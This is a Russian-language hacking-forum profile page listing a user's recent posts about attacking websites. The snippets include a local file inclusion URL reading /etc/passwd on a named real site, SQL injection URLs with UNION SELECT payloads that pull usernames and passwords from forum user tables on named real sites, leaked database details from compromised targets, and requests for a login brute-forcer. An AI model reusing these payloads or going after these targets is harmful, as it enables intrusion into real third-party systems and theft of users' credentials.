Recent Content by RedX

Ребят, подскажите с обрезанием окончания к LFI

Инклюд есть, но не могу обрезать окончание.

http://int-sch.ru/cgi-bin/zs.cgi?p=/../../../../../../../etc/passwd...

Давненько нащупал, но так и не разобрал. Переменная заносится в массив по пробелам, используется в минимум трех запросах, но ничего...

УКР Пром @@basedir - 5: /usr/ user() - 14: zmey@localhost database() - 16: zmey_ukrprom_new version() - 10: 5.0.77-log

http://www.trunov.com/news.php?newsid=-237+UNION+SELECT+1,CONCAT_ws(0x3a,username,user_password),3,4,5,6,7,8,9+FROM+trunovc7_forum.phpbb_users+LIMI...

Пробуй найти что нибудь с помощью хекс редактора в коде программы если не шифрованные данные то вполне вероятно что будут они

Собственно не так давно появилась тема с указанием уязвимости, но я не как не могу раскрутить саму уязвимость, помогите кто может?

5.0.45-log menaniitdb0001 [email protected] 5.1.41-3UBUNTU12.6:C1_ALLMETAL:C1_ALLMETAL@LOCALHOST Database Version:...

Спасибо за брут! Жаль конечно что он однопоточный, но это уже хорошо)

С помощью утилиты LIBrute Можно перебирать но только либо по 1 логину либо по 1 паролю..Нужно что бы полей {STR} было два..

Нет, он не подходит, ну или я не могу его настроить, ибо кнопки как таковой нету, при нажатии на неё идет событие onClick с вызовом функции на JS...

Извините если была раньше тема, но понадобился простейший веб брут который будет подставлять значения из листов с паролями и логинами в ссылку и...

Вышла версия 1.1.3 SQL-Inj в поиске пофиксили точно!

http://www.diablo-ii.ru/index.php?option=com_remository&Itemid=S&func=selectcat&cat=-9/**/union/**/select/**/0,0,0,0,concat_ws%280x3a,username,pass...